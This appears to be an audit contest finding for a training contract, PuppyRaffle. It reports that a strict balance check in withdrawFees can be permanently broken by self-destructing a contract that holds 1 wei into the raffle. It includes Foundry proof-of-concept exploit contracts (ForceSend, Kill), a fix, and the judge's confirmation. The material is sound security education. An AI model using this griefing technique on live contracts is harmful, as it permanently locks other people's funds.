Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

# `withdrawFees` strict balance equality can be permanently bricked by force-fed ETH

drak3p14159

withdrawFees strict balance equality can be permanently bricked by force-fed ETH

Severity: Medium

Description

  • withdrawFees sends accrued fees to the feeAddress. It guards withdrawal by requiring the contract balance to equal totalFees, intending to block withdrawal while a raffle is in progress.

  • The contract balance can be increased without going through enterRaffle — via selfdestruct, a pre-computed deposit address, or a coinbase payout — none of which touch totalFees. Once the balance exceeds totalFees, the strict equality can never hold again.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Occurs the moment any actor selfdestructs a contract holding wei into the raffle address, which forcibly credits ETH regardless of receive/fallback.

  • Occurs for the cost of 1 wei and cannot be undone, so a single griefing transaction permanently disables withdrawals.

Impact:

  • All accumulated protocol fees become permanently unwithdrawable — the funds are stranded with no recovery path.

Proof of Concept

Save as test/WithdrawBrickPoC.t.sol and run forge test --mt testForcedEthBricksWithdraw. After a clean round where balance == totalFees (withdrawal would succeed), a ForceSend contract self-destructs 1 wei into the raffle, and every subsequent withdrawFees() reverts.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract WithdrawBrickPoC is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, address(99), duration);
}
​
function testForcedEthBricksWithdraw() public {
address[] memory players = new address[](4);
players[0] = address(101);
players[1] = address(102);
players[2] = address(103);
players[3] = address(104);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
​
// Invariant holds now: withdrawFees would succeed
assertEq(address(puppyRaffle).balance, uint256(puppyRaffle.totalFees()));
​
// Force 1 wei in via selfdestruct
ForceSend bomb = (new ForceSend){value: 1 wei}();
bomb.detonate(payable(address(puppyRaffle)));
​
// Equality can never hold again -> fees locked forever
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
}
​
contract ForceSend {
constructor() payable {}
​
function detonate(address payable target) external {
selfdestruct(target);
}
}

Recommended Mitigation

Do not compare the contract balance to totalFees; withdraw the tracked amount directly.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!